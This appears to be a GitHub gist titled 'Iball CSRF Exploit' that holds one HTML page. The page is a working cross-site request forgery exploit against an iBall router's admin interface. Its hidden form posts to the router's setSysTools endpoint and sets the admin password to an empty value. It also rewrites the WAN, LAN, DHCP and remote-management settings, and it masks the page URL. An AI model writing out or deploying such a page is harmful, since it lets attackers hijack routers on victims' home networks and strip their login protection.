Saket-taneja / iballcsrf.html

Created 2 years ago

☆ Star

<> Code -○- Revisions 1

Iball CSRF Exploit

iballcsrf.html

```html
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/goform/setSysTools" method="POST">
      <input type="hidden" name="module1" value="loginAuth" />
      <input type="hidden" name="newPwd" value="" />
      <input type="hidden" name="oldPwd" value="" />
      <input type="hidden" name="module2" value="wanAdvCfg" />
      <input type="hidden" name="wanServerName" value="" />
      <input type="hidden" name="wanServiceName" value="excitel" />
      <input type="hidden" name="wanMTU" value="1480" />
      <input type="hidden" name="macClone" value="default" />
      <input type="hidden" name="wanMAC" value="00&#58;1E&#58;A6&#58;E6&#58;EC&#58;D8" />
      <input type="hidden" name="wanSpeed" value="Auto" />
      <input type="hidden" name="module3" value="lanCfg" />
      <input type="hidden" name="lanIP" value="192&#46;168&#46;1&#46;1" />
      <input type="hidden" name="lanMask" value="255&#46;255&#46;255&#46;0" />
      <input type="hidden" name="dhcpEn" value="true" />
      <input type="hidden" name="lanDhcpStartIP" value="192&#46;168&#46;1&#46;201" />
      <input type="hidden" name="lanDhcpEndIP" value="192&#46;168&#46;1&#46;240" />
      <input type="hidden" name="lanDns1" value="192&#46;168&#46;1&#46;1" />
      <input type="hidden" name="lanDns2" value="" />
      <input type="hidden" name="module4" value="remoteWeb" />
      <input type="hidden" name="remoteWebEn" value="false" />
      <input type="hidden" name="remoteWebType" value="any" />
      <input type="hidden" name="remoteWebIP" value="" />
      <input type="hidden" name="remoteWebPort" value="8080" />
      <input type="hidden" name="module5" value="sysTime" />
      <input type="hidden" name="sysTimeZone" value="49" />
      <input type="hidden" name="module6" value="softWare" />
      <input type="hidden" name="autoMaintenanceEn" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```